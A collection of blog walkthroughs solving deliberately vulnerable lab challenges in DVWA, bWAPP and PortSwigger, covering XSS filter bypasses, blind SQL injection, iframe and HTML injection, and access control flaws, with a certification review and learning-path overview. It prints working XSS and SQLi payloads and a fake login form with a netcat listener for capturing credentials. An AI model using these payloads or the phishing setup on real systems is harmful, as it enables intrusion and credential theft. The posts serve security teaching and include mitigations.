Unlike Reflected XSS, where the malicious input is usually included in a request and reflected immediately in the response, Stored XSS persists within the application. This makes it potentially more impactful because the injected JavaScript can execute whenever a user accesses the affected page.

In this walkthrough, I will demonstrate how to identify and exploit a Stored Cross-Site Scripting vulnerability in Damn Vulnerable Web Application (DVWA) at different security level.

Generally attacker look for Stored XSS in application features that allow users to submit and save content, such as - Comment sections, Guestbooks, User profile information, Feedback forms, Discussion forums etc.
If the application stores user input without proper validation and later renders it without context-appropriate output encoding, an attacker can inject JavaScript into the application.

Navigate to the Stored XSS challenge from the left-side menu. The application displays a guestbook form containing fields such as Name and Message. These fields allow users to submit information that gets stored and displayed on the page.
Before testing for XSS, submit normal input into both fields and click the Sign Guestbook button.

The submitted information appears in the guestbook section. This confirms that the application accepts and stores user-provided input.

DVWA Stored XSS — Low Security

At the Low security level, DVWA does not apply any effective filtering to the input. The application takes the value provided in the input stores in application database and executes the provided payload.

We can provide a simple payload in the Message field such as:
<script>alert(‘XSS — Low Security’)</script>

DVWA Stored XSS — Medium Security

At the Medium security level, DVWA introduces input filtering to prevent the basic ‘<script>’ payload from working and previous payload will not work.

We can observe that we can not provide same payload in the Name input field as input length restriction is set in the field. However, this restriction can be bypassed by modifying the maxlenght value. Even in the Name field provided payload will not execute and it confirms that similar input validation implemented for both input fields.

Next, provide the below customized payload by increasing the maxlength value and payload observe that provide javascript payload executed successfully -
<sCriPt>alert(‘XSS+Medium+Security’)</sCriPt>

DVWA Stored XSS — High Security

At the High security level, we will observe that previous approach will not work which confirms that proper input validation is implemented for the script tag. However, there are several tags available apart from ‘script’ which can be used to exploit XSS.
Try below provided payload which will lead to javascript payload execution:
<svg/onload=alert(‘XSS+High+Security’)>

The developer has disabled all script usage by removing the pattern “<s*c*r*i*p*t” however payload using HTML events are still executable.

Key Takeaways
Stored XSS can have a significant security impact, particularly when the affected application is accessed by multiple users as the vulnerability is not limited to the user submitting the payload. Depending on the application’s functionality and access controls, other users visiting the affected page may also trigger the injected JavaScript.
It is important to implement proper Input Validation and Context-Aware Output Encoding in all input fields to mitigate the XSS attack.

Challenge solved. Thanks for reading..

In this blog, I will walk through the Reflected XSS challenge in DVWA and demonstrate how the vulnerability can be exploited at different security levels. I will also explain how the input filtering changes at each level and how the payload can be modified accordingly.

Reflected XSS occurs when user-controlled input is sent to the server and is immediately included in the server’s response without proper validation or output encoding. When the victim’s browser receives the response, the injected content can be interpreted and executed as JavaScript. The important point here is that the payload is not stored by the application. It is sent to the server and immediately reflected back to the browser as shown in below screenshot, the provided user input reflects in the page -

DVWA Reflected XSS — Low

At the Low security level, DVWA does not apply any effective filtering to the input. The application takes the value provided in the input field and reflects it directly into the response.

We can provide a simple payload such as:
<script>alert(‘XSS — Low Security’)</script>

When the application processes the input, the payload is reflected back in the response and the browser executes the JavaScript, resulting in an alert box. This confirms that the application is vulnerable to Reflected XSS.

DVWA Reflected XSS — Medium

At the Medium security level, DVWA introduces input filtering to prevent the basic ‘<script>’ payload from working and application attempts to remove/filter the tag from the input.

Instead of using previous payload, we can use below provided payload as validation implemented for the ‘script’ tag is case-sensitive:
<ScRiPt>alert(‘XSS — Medium Security’)</ScRiPt>

Application will execute the given payload which proves that blacklist validation by removing/filtering specific tag is not recommended approach — <ScRiPt>alert(‘XSS — Medium Security’)</ScRiPt>
Here, we can even try different tags like img, body, svg etc. to exploit Reflected XSS as application is only validating ‘script’ (lowercase) tag.

DVWA Reflected XSS — High

At the High security level, DVWA applies stronger filtering and implemented non case-sensitive validation for the ‘script’ tag. However, as mentioned earlier, there are several tags available apart from ‘script’ which can be used to exploit Reflected XSS.
Try below provided payload:
<img src=‘k’ onerror=alert(‘XSS+High+Security’)>

Here, the invalid image source causes the ‘onerror’ event to execute the supplied JavaScript. If the filtering only blocks the ‘<script>’ tag, this alternative payload may still execute.

This demonstrates an important point about XSS protection that simply blocking specific tags or keywords is not a reliable way to prevent XSS. Attackers can often use different HTML elements or event handlers to reach an executable context.

Why Reflected XSS is Dangerous
The impact of Reflected XSS depends on the application and the privileges of the victim. If an attacker can convince a victim to open a specially crafted URL, the injected JavaScript may execute in the context of the vulnerable application.
Depending on the application’s functionality, this could allow an attacker to manipulate the webpage, perform actions using the victim’s session, access information available to client-side JavaScript, or display a fake login form or other malicious content.

How to Prevent Reflected XSS
The primary defense against Reflected XSS is to properly encode untrusted data before placing it into an HTML response.
Input validation can also be useful for restricting unexpected input, but it should not be treated as the primary protection against XSS. Blacklist-based filtering, such as blocking specific strings like ‘<script>’, can often be bypassed using alternative HTML elements, attributes, or encoding techniques.
A properly configured Content Security Policy (CSP) can provide an additional layer of protection, but it should be considered as defense-in-depth rather than a replacement for proper output encoding.

Conclusion
The DVWA Reflected XSS challenge is a good way to understand how user input is sent to the server and then reflected back in the browser without proper security controls.
The different DVWA security levels also show why simple blacklist-based filtering is not an effective way to protect an application from XSS.
The main takeaway is to always trace the complete flow of user-controlled data from the request to the server response and determine whether it reaches an executable context in the browser.

Thanks for reading..

DOM-Based Cross-Site Scripting is a type of XSS where the vulnerability happens on the client side. In this case, JavaScript takes user-controlled input and uses it in an unsafe way while modifying the webpage.
Unlike reflected XSS, the input does not necessarily have to go to the server and come back in the response. Instead, the browser receives the page, and the JavaScript running in the browser processes the user input and updates the DOM. If the input is not handled properly, it can result in JavaScript being executed in the browser.

Low Security
At the Low security level, the application provides no effective protection against the supplied input. The page takes the value from the URL and uses it in the DOM without sufficient sanitization.
A simple payload that can be used:
<script>alert(‘kamal’)</script>

The browser interprets the injected <script> element and executes the JavaScript. The resulting pop-up confirms the DOM XSS vulnerability.

Medium Security
At the Medium security level, application introduces filtering that prevents the straightforward <script> payload from working and previous payload will not generate the pop-up.

We can understand the script logic by checking view page source and customize payload to execute outside of defined tags

Customized payload that be can be used in this scenario:
</option></select><img src=k onerror=alert(‘kamal’)>

The browser attempts to load the image, the request fails because k is not a valid image reference, and the onerror event executes the JavaScript.

This demonstrates why blacklist-based filtering considered as weak validation. Blocking one particular tag such as <script> does not address the underlying issue of allowing attacker-controlled HTML to reach an executable context as there are several tags available which can be used to execute javascript leading to XSS.

High Security
The challenge is designed to demonstrate that relying on input filtering and server side validation are not always the correct approach to prevent DOM XSS.

An attacker can add the # symbol before the XSS payload. Since anything after # is treated as a URL fragment, it is not sent to the server, so the server-side validation does not get a chance to inspect the payload. However, the browser-side JavaScript can still read the fragment and process it, causing the XSS payload to execute and resulting in DOM-based XSS. Use the given payload — #<script>alert(‘kamal’)</script> and reload the page

Conclusion
The key takeaway is that XSS protection should be based on safe output handling and context-appropriate encoding rather than blacklist filtering.

Thanks for reading..

In this article, we will explore the SQL Injection (Blind) vulnerability in Damn Vulnerable Web Application (DVWA) at both Low and Medium security levels. The objective is to understand how the vulnerability works, how the application behaves at each security level, and how the SQL query can be manipulated in a controlled lab environment.

SQL Injection (Blind) — Low Security:
1. Start with a valid user ID i.e. 1
2. The application responds with: User ID exists in the database.
3. Now try a value that does not correspond to an existing user i.e. 9999.
4. The application responds with: User ID is MISSING from the database.

The application is effectively giving us a Boolean response:

TRUE → User ID exists
FALSE → User ID does not exist

This is what makes the vulnerability blind as error message will not reveal any other sensitive data even special characters used in this scenario.
Suppose the original application query is:
SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;

Try Mentioned Exploitation Payloads which will lead to Blind SQL Injection
Boolean True Payload: 1' AND 1=1#
Result: The query executes WHERE user_id = ‘1’ AND 1=1#. Returns User ID exists.

Boolean False Payload: 1' AND 7=1#
Result: The condition fails. Returns User ID is MISSING.

Time-Based Payload: 1' AND SLEEP(5)#
Result: The HTTP response hangs for exactly 5 seconds, confirming vulnerability.

SQL Injection (Blind) — Medium Security:
The previously mentioned payloads will not work in Medium security level as backend attempts defense by passing the input through mysqli_real_escape_string() and single quotes (‘) are escaped to prevent break-outs, the developer omitted quotes around the variable in the query entirely. Suppose the SQL query is:
SELECT first_name, last_name FROM users WHERE user_id = $id;

Exploitation via HTTP Interception
1. Select any option from the dropdown and capture the POST request using Burp Suite.
2. Modify the id parameter directly in the body as mentioned below:
Boolean True Payload: id=1 AND 1=1#
Boolean False Payload: id=1 AND 1=0#
Time-Based Payload: id=1 AND SLEEP(5)#
3. Forward the request to see the boolean response or time delay in action.

Key Takeaways & Mitigation
Relying on front-end controls or escaping single quotes on numeric fields gives a false sense of security.
The most effective defense against SQL Injection is to avoid dynamically constructing SQL queries and instead use Prepared Statements (Parameterized Queries). Parameterized queries ensure that user-supplied input is always handled as data rather than being interpreted as executable SQL code.

Thanks for reading..

In this blog, we will explore the iFrame Injection challenge available in bWAPP (Buggy Web Application).

iFrame Injection is a type of HTML Injection vulnerability where an attacker can inject an HTML <iframe> element into a webpage.
An iframe embeds another webpage inside the current page or load internal page. If user input is reflected or stored without proper sanitization, an attacker may inject an iframe pointing to a malicious website which he/she can control.

Example Payload: <iframe src=“https://attacker-controlled-site.com”></iframe>

When another user visits the vulnerable page, the attacker’s webpage is loaded inside the application. Unlike Cross-Site Scripting (XSS), iFrame Injection does not execute JavaScript directly. Instead, it abuses HTML rendering to display external content.

iFrame Injection can lead to several security issues and attackers can trick users into revealing sensitive information by:
Phishing attacks
Fake login pages
Clickjacking
Displaying malicious content
Redirecting users to attacker-controlled websites
Social engineering attacks

Exploiting the Vulnerability:
In the vulnerable page of bWAPP, application renders content of robots.txt file which is included in the application.
An attacker can modify this parameter value to load any other internal page or external website as given input will be used inside <iframe> tag.
It can be noticed in the challenge page that URL is : http://localhost/BWapp/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
A frame is embedded in webpage
Try to load a different page instead of robots.txt for example — index/password change page which will load successfully
Now try to load a 3rd party website and it can be noticed, it is possible to load pages within frame.

Video Walkthrough: https://www.youtube.com/watch?v=HqUUCdT4i88

Phishing scenario using fake login form:

Save the below code as login.html in the system -
<form name=“login” action=“http://127.0.0.1:8888” method=“post”>
<div>
<label for=“username”>Username: </label>
<input type=“text” id=“username” name=“username” />
</div>
<br>
<div>
<label for=“password”>Password: </label>
<input type=“password” id=“pass” name=“password” />
</div>
<br>
<input type=“submit” value=“Login” />
</form>

Start python server using the below command to use login.html file as input URL for the iFrame Injection -
python3 -m http.server

Start netcat listener using below command — 
nc -lvnp 8888

Load the below provided URL to embed fake login form which will allow attacker to capture given credentials by victim user -
http://localhost/iframei.php?ParamUrl=http://127.0.0.1:8000/login.html&ParamWidth=250&ParamHeight=250

Developers should implement multiple layers of defense:
Accept only expected characters and Reject HTML tags whenever possible
Always HTML-encode user input before displaying it.
Implement security header i.e. Content Security Policy (CSP) or x-frame-options in the response

Challenge solved. Thanks for reading..

In this article, we’ll explore the concepts covered in the Practitioner-level Access Control labs, discuss the testing mindset required, and explain why these challenges are valuable for aspiring penetration testers, bug bounty hunters, and application security engineers.

Lab: URL-Based Access Control Can Be Circumvented
This lab demonstrates how access control mechanisms implemented at the URL level can be bypassed when the application and front-end infrastructure interpret requests differently. The application attempts to restrict access to administrative functionality by blocking direct requests to specific URLs.
However, by using certain HTTP headers (X-Original-URL), an attacker can cause the backend server to process the request while bypassing the front-end access restrictions. This highlights the risks of relying solely on URL-based filtering for authorization. The key lesson is that access control must be enforced consistently on the backend, regardless of how a request reaches the application.
Video Walkthrough: https://www.youtube.com/watch?v=jJGVDGNop9I

Lab: Method-Based Access Control Can Be Circumvented
In this lab, the application enforces authorization checks based on the HTTP method used in the request. While certain methods are properly restricted, alternative methods are processed without adequate validation. This inconsistency allows an attacker to perform actions that should be limited to privileged users. The challenge demonstrates why security controls should not depend on specific request methods and reinforces the importance of validating permissions for every request, regardless of whether it uses GET, POST, PUT, PATCH, or another HTTP verb.
Video Walkthrough: https://www.youtube.com/watch?v=hTLlGwC8Rvw

Lab: Multi-Step Process with No Access Control on One Step
This lab focuses on a common real-world vulnerability where a multi-step workflow contains authorization checks on some stages but not others. Applications often require users to complete several steps before performing sensitive actions. If one of these steps lacks proper authorization validation, an attacker may be able to bypass the intended restrictions and complete the action successfully. Hence, it is important to analyze entire workflows rather than evaluating requests in isolation and every step in a business process should independently enforce access control requirements.
Video Walkthrough: https://www.youtube.com/watch?v=AwkmXLc8flM

Lab: Referer-Based Access Control
This lab demonstrates the dangers of relying on client-supplied HTTP headers for authorization decisions. The application attempts to protect privileged functionality by checking the Referer header and allowing access only when requests appear to originate from trusted pages. Since HTTP headers can be easily modified by users, an attacker can manipulate the Referer value and bypass the restriction. Access control decisions must be based on server-side validation and authenticated user permissions rather than easily forged request headers.
Video Walkthrough: https://www.youtube.com/watch?v=rMA8JjTL3oc

These Practitioner-level challenges emphasize a critical lesson that access control must be enforced consistently on the server side. Whether the application relies on URLs, HTTP methods, workflow steps, or request headers, attackers will look for inconsistencies that allow them to bypass authorization checks. Successful access control testing requires examining every request, every workflow step, and every trust boundary to identify where security assumptions break down.

Thanks for reading and happy ethical hacking..

Reflected HTML Injection occurs when user input is passed through an URL parameter and immediately reflected in the server’s response. This requires user interaction with a crafted link and affects only a single request-response cycle.

Since the input is not stored, this is considered a non-persistent attack. However, it can still be effective when attackers craft malicious URLs and trick users into clicking/loading them. In bWAPP, the application displays the URL directly on the page. An attacker can manipulate this URL by injecting HTML tags, which are then interpreted by the browser and can lead to risks such as UI manipulation, phishing, and content spoofing.
Video Walkthrough: https://www.youtube.com/watch?v=EjIjZDrT6-0

In contrast, Stored HTML Injection is a persistent vulnerability where the injected payload is saved on the server and later displayed to same/other users. This makes it more dangerous than reflected injection, as the malicious content continues to affect every user who accesses the compromised page.

In the bWAPP Blog page, user input submitted through blog form is stored in the backend database and rendered without proper sanitization. An attacker can inject HTML content into a blog post, and whenever another user views that post, the injected content is executed in their browser. This enables attackers to perform persistent UI manipulation, defacement, and large-scale phishing attacks by embedding fake login forms or misleading messages within blog content, increasing the likelihood of user interaction and data compromise.
Video Walkthrough: https://www.youtube.com/watch?v=WKh58-6faz8

To mitigate HTML Injection vulnerabilities, developers must implement robust security controls. Input validation should restrict the type of data accepted by the application, while output encoding ensures that user input is rendered as plain text rather than executable HTML. Additionally, using security headers such as Content Security Policy (CSP) can help limit the impact of injected content.

Thanks for reading..

Understanding the EC-Council CCT Certification
The Certified Cybersecurity Technician (CCT) is positioned as a beginner to early-intermediate certification designed to build a strong foundation in cyber security. Unlike purely theoretical certifications, CCT focuses on hands-on skills by covering multiple domains instead of going deep into one, making it ideal for beginners and professionals transitioning into cybersecurity roles.

Review Video — https://www.youtube.com/watch?v=_gcO4aJG5Lg

Key areas include:
Cybersecurity fundamentals
Threats, vulnerabilities, and attacks
Network security concepts
Application and Mobile security
Endpoint and system security
Basic incident response and handling

Reasons to Pursue the CCT Certification
1. Beginner-Friendly Structure: CCT is designed for people who are just entering cyber security or transitioning into cyber security domain. The learning path is structured and doesn’t require prior deep knowledge.
2. Broad Coverage of Domains: Instead of focusing only on one area (like web security or networking), it gives you a 360° view of cyber security, which is useful early in your career and helps in deciding interest area for future direction.
3. Hands-On Approach: CCT puts emphasis on Labs/Practical scenarios alongwith learning videos..

Limitations of the CCT Certification
CCT provides broad coverage across multiple domains, but as a beginner-level certification, it doesn’t dive deeply into any specific area.
If you already have hands-on experience, you may find the content quite basic with limited additional technical depth.
The CCT certification is not as widely recognized as other global entry-level certifications and is still in the process of gaining industry recognition.

Exam Preparation Strategy
I wouldn’t describe the exam as very easy, even though it’s a beginner-level certification. The difficulty is moderate and it primarily focuses on:
Conceptual clarity
Basic scenario-based questions
Practical challenges

Exam format: The exam consists of 60 questions in total and is scored out of 100 marks, combining multiple-choice questions with practical challenges, where the practical section carries higher weightage.

Note: If you’ve completed the training and practiced the labs thoroughly, you should be able to clear the exam without much difficulty.

Is the CCT Certification Worth It?
Who Can Consider CCT:
Students or freshers interested in entering cybersecurity domain
IT professionals transitioning into security
Anyone looking for structured foundational and hands-on learning

Who Can Skip CCT:
Experienced security professionals/penetration testers
People looking for deep technical specialization

Final Verdict
The EC-Council CCT certification is a well-designed program for building cybersecurity fundamentals and if you’re just starting out, CCT can give you a structured path and confidence. But if you already have hands-on experience in cybersecurity, you’re better off investing time in more advanced, specialized certifications. In summary, this certification can serve as a strong stepping stone for beginners, while for experienced professionals, it works more as a refresher and a means to validate foundational knowledge.

Thanks for reading..

One of the best platforms for learning access control testing is the PortSwigger Web Security Academy. The academy provides free, hands-on labs that simulate real-world vulnerabilities and teaches professionals how authorization flaws occur in practice.

In this article, we will explore the key concepts covered in the Apprentice-level Access Control Vulnerabilities labs and understand the mindset required to identify and exploit these weaknesses.

Before diving into the labs, it is important to understand the three major categories of access control.
Vertical Access Control restricts functionality based on user roles. For example, an administrator may be allowed to delete users, while a regular user cannot.

Horizontal Access Control restricts access between users of the same privilege level. A customer should only be able to view their own account information and not another customer’s data.

Context-Dependent Access Control restricts actions based on the application’s state or workflow. Users may be required to complete specific steps before accessing certain functionality.

The Apprentice labs primarily focus on discovering situations where these controls are either missing, improperly implemented, or easily bypassed.

Lab 1: Unprotected Admin Functionality
The application contains administrative functionality that is not properly protected. Although the normal user interface does not display links to the admin panel, attackers frequently discover hidden endpoints through source code review, JavaScript analysis, robots.txt files, archived URLs, or brute-force content discovery.
Video Walkthrough: https://www.youtube.com/watch?v=2zlpGFuqiWI

Lab 2: Unprotected Admin Functionality with Unpredictable URL
Developers sometimes attempt to improve security by moving administrative functionality to obscure or difficult-to-guess URLs. The application assumes that attackers will not discover the URL. However, hidden endpoints often leak through JavaScript files, comments, configuration files, backup files, or client-side code.
Video Walkthrough: https://www.youtube.com/watch?v=HqUe6it8zoo

Lab 3: User Role Controlled by Request Parameter
This lab introduces vertical privilege escalation vulnerability. The application stores authorization information within a user-controlled parameter. Any information sent from the client should be considered untrusted and authorization decisions must be made using server-side session data rather than values supplied by the user. Cookies are often used to store session information, but insecure implementations may store privilege information directly inside the cookie and modifying a cookie value grants elevated privileges.
Video Walkthrough: https://www.youtube.com/watch?v=HvQYU7N82t8

Lab 4: User Role Can Be Modified in User Profile
Applications often expose APIs that allow users to update profile information. If developers fail to implement proper validation, attackers may be able to modify sensitive attributes such as account roles. The objective of this lab is to identify a profile update mechanism and manipulate parameters that should never be user-controlled. This vulnerability is closely related to mass assignment and insecure object binding issues.
Video Walkthrough: https://www.youtube.com/watch?v=-fmUnBIZfts

Lab 5: User ID controlled by request parameter
This lab introduces Horizontal privilege escalation vulnerability. The application uses a user-controlled parameter to fetch account information without verifying whether the logged-in user is authorized to access that specific resource. An attacker intercepts a request and modifies the userId parameter to another user’s identifier. This results in unauthorized access to sensitive data such as account details or API keys.
Video Walkthrough: https://www.youtube.com/watch?v=Ky6IsxxZkFE

Lab 6: User ID controlled by request parameter, with unpredictable user IDs
The application uses unpredictable user IDs (e.g., GUIDs/UUIDs) in request parameters to access user data but fails to enforce proper authorization checks. Discover another user’s ID via public features (e.g., blog posts, comments, author profiles). Intercept requests and replace their own userId with the victim’s ID to access sensitive data.
Video Walkthrough: https://www.youtube.com/watch?v=awYLE9wRSD0

Lab 7: User ID controlled by request parameter with data leakage in redirect
The application attempts to enforce access control but leaks sensitive data in a redirect response when unauthorized access is attempted. Although the application detects unauthorized access and issues a redirect, it includes sensitive information (e.g., API key) in the response before redirecting, which can be captured by an attacker.
Video Walkthrough: https://www.youtube.com/watch?v=RRls6Y5iuoA

Lab 8: User ID controlled by request parameter with password disclosure
The application allows users to access account details using a userId parameter and exposes the user’s password in the response, without verifying authorization.
Video Walkthrough: https://www.youtube.com/watch?v=1rNDjPaMWhI

Lab 9: Insecure direct object references
The application exposes direct references to internal objects (e.g., file names, IDs) and fails to validate whether the authenticated user is authorized to access them. Observe a request that fetches a resource (e.g., chat logs) and modify the object reference to access unauthorized data belonging to other users
Video Walkthrough: https://www.youtube.com/watch?v=n0o-5r8KS3k

Although PortSwigger labs are intentionally simplified for learning purposes, the underlying concepts appear frequently in production environments. Security professionals often encounter missing authorization checks, insecure direct object references (IDORs), privilege escalation flaws, and access control misconfigurations during assessments.

For aspiring penetration testers, bug bounty hunters, and application security engineers, mastering these beginner labs is an essential step toward understanding more advanced authorization flaws such as IDORs, multi-step workflow bypasses, context-dependent access control issues, and complex privilege escalation chains.

Thanks for reading and happy ethical hacking..

Breaking into the field of cybersecurity specially penetration testing can feel overwhelming. With countless tools, methodologies, and concepts to master, beginners often struggle to find a structured starting point.
In this blog, I will walk you through the updated Jr Penetration Tester path which is designed to cover various topics alongwith hands-on labs, allowing you to learn by actually doing not just reading. This path focuses on real-world attack techniques, tools, and methodologies aligned with industry practices.

The learning path is structured to progressively build your knowledge across multiple domains:

Start Your Cyber Security Journey — Introduces the fundamentals of both offensive and defensive security, helping you understand the broader security landscape.

Penetration Testing Foundations — An introduction to web and infrastructure testing methodologies, alongside a breakdown of popular industry-standard frameworks.

Network Reconnaissance — Explains passive and active reconnaissance techniques, along with the usage and importance of commonly used network protocols.

Nmap — Practical usage of the industry’s go-to tool for host discovery, port scanning, and network mapping.

Web Application Security Fundamentals — A look at modern web architecture, popular tech stacks, and an introduction to common web-based attack vectors.

Burp Suite — Demonstrates one of the most powerful tools for web application security testing, including manual testing techniques (Intercept, Repeater, etc.) and automated scanning capabilities in the professional version.

Web Application Vulnerabilities I — Deep dives into critical flaws, including SQL Injection (SQLi), Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and Insecure Direct Object References (IDOR).

Web Application Vulnerabilities II — Advanced exploitation techniques covering Session Management issues, Broken Authentication, File Inclusion, Command Injection, and API Pentesting.

Vulnerability Knowledge — Understanding global databases like CVE and NVD, coupled with practical exercises in exploiting known CVEs using standard security tools.

OWASP Top 10 (2025) — A comprehensive look at the latest iteration of the most critical security risks found in modern web applications.

Password Attacks — Explains various password attack techniques using tools like Hydra, Hashcat, and John the Ripper.

Metasploit and Exploitation — A practical guide to leveraging Metasploit for vulnerability exploitation and post-exploitation tasks.

Privilege Escalation — Tactics for elevating your access rights from a standard user to root or administrator after establishing an initial foothold on a target server.

Active Directory Security Testing Basics — An introduction to AD environments, common misconfigurations, and fundamental exploitation techniques.

Specialized Domains — Broadening the scope with introductions to Wireless and Mobile App security, Cloud infrastructure, LLM Pentesting, and DevSecOps principles.

Python Scripting Basics — Introduces Python as a key language for writing scripts, building tools, and developing custom exploitation workflows.

Pentesting Methodologies and Reporting — The professional side of pentesting, covering threat modeling, engagement planning, and the critical skill of writing effective, actionable reports.

Jr Pentester Challenges — A hands-on section consisting of practical challenges that require applying concepts learned throughout the path.

The Jr Penetration Tester Learning Path on TryHackMe is not just an excellent starting point for beginners entering penetration testing, but also a valuable resource for experienced pentesters looking to reinforce fundamentals and uncover new techniques.

Thanks for reading and happy ethical hacking..